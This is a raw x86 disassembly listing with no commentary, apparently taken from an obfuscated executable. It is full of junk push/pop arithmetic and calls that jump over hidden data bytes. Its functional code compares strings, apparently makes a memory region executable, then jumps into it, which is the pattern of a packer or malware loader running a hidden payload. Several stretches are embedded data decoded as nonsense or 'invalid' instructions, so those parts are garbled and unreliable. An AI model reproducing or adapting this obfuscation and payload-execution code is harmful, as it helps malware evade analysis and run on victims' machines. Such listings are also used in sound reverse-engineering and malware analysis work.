and edi, 0xf673
pop edi
push eax
push esi
add esp, 4
or eax, 0xae3d
and eax, 0xe0b1
pop eax
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [ebp + eax - 0x184]
cmp edx, ecx
jne 0x40b8d5
mov dword [ebp - 0x258], 0
jmp 0x40b970
push edi
call 0x40b8e4
add byte [ebx], bh
inc edx
xor eax, 0x3f444f45
cmp al, byte [ebx + 0x575f04c4]
push ecx
add esp, 4
and edi, 0x7c1b
call 0x40b903
add byte [esi], dh
dec edi
inc eax
inc ebp
cmp byte [edx + eax*2], dh
dec esi
xor cl, byte [ecx - 0x7d]
les eax, [edi + ebx*2]
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ebp + ecx - 0x184]
or edx, 0x20
cmp eax, edx
jge 0x40b934
mov dword [ebp - 0x258], 0xffffffff
jmp 0x40b970
push esi
push edx
add esp, 4
sub esi, 0x26be
pop esi
push eax
push eax
add esp, 4
add eax, 0x152f2
or eax, 0x17748
sub eax, 0x10a97
pop eax
push edi
add edi, 0x15400
xor edi, 0xffc1
pop edi
mov dword [ebp - 0x258], 1
cmp dword [ebp - 0x258], 0
jne 0x40b9b9
push ecx
and ecx, 0xb343
xor ecx, 0xea97
add ecx, 0x938e
pop ecx
push eax
push edi
add esp, 4
les eax, [ecx + eax*4]
call 0x41412d
or eax, 0x4e2d
and eax, 0x17cef
out dx, eax
jl 0x40b9a4
add byte [ecx + 0x388df0], al
add byte [eax - 0x75], bl
test eax, edx
sti
invalid
dec dword [ecx - 0xab7b]
invalid
jmp 0x40b9ca
jmp 0x40b6d7
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x1bc], edx
lea eax, [ebp - 0x47c]
push eax
push 0x40
mov ecx, dword [ebp - 0x328]
sub ecx, dword [ebp - 0xcc]
push ecx
mov edx, dword [ebp - 0xcc]
push edx
call dword [ebp - 0x1bc]
test eax, eax
jne 0x40ba34
push ebx
call 0x40ba0d
add byte [eax], bh
cmp byte [esi + ecx*2 + 0x3a], cl
dec esp
dec ebx
xor eax, 0x4c4833d
sub ebx, 0x7686
jmp 0x40ba1f
call 0x40ba2b
add byte [eax], bh
inc eax
dec esi
inc ecx
inc ebx
dec ecx
add esp, 4
pop ebx
jmp 0x40bb47
push ebx
push edx
add esp, 4
add ebx, 0xef6d
sub ebx, 0x284c
add ebx, 0x4dcb
pop ebx
push esi
xor esi, 0x7c3c
and esi, 0xdaa5
add esi, 0x1755a
sub esi, 0x14b01
pop esi
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x438], eax
push eax
add eax, 0x57c8
call 0x40ba86
add byte [edx + 0x34], al
inc esi
inc edx
cmp eax, dword [edx + 0x32]
add esp, 4
jmp 0x40ba8f
pop eax
push ebx
add ebx, 0x2a10
and ebx, 0x14ff9
or ebx, 0x5dec
pop ebx
pushal
push eax
add eax, 0x17bff
pop eax
push esi
push ecx
add esp, 4
sub esi, 0x182b0
or esi, 0xbb3f
call 0x40bace
add byte [esi], bh
inc ecx
dec esp
xor al, byte [edi + 0x4c]
dec esi
cmp al, 0x45
add esp, 4
jmp 0x40bad6
pop esi
call dword [ebp - 0x438]
push edi
push edi
add esp, 4
jmp 0x40bae9
add edi, 0x112c3
add edi, 0x295c
pop edi
push edi
call 0x40bb05
add byte [edi], bh
inc esp
inc ecx
inc esp
dec esp
inc ebx
dec esp
add esp, 4
xor edi, 0x17f1f
pop edi
popal
push esi
push esi
add esp, 4
add esi, 0x12b4f
pop esi
push ebx
push edx
add esp, 4
or ebx, 0x27fc
add ebx, 0x43ec
pop ebx
push eax
push edx
add esp, 4
add eax, 0x5cbb
pop eax
push esi
sub esi, 0x5490
pop esi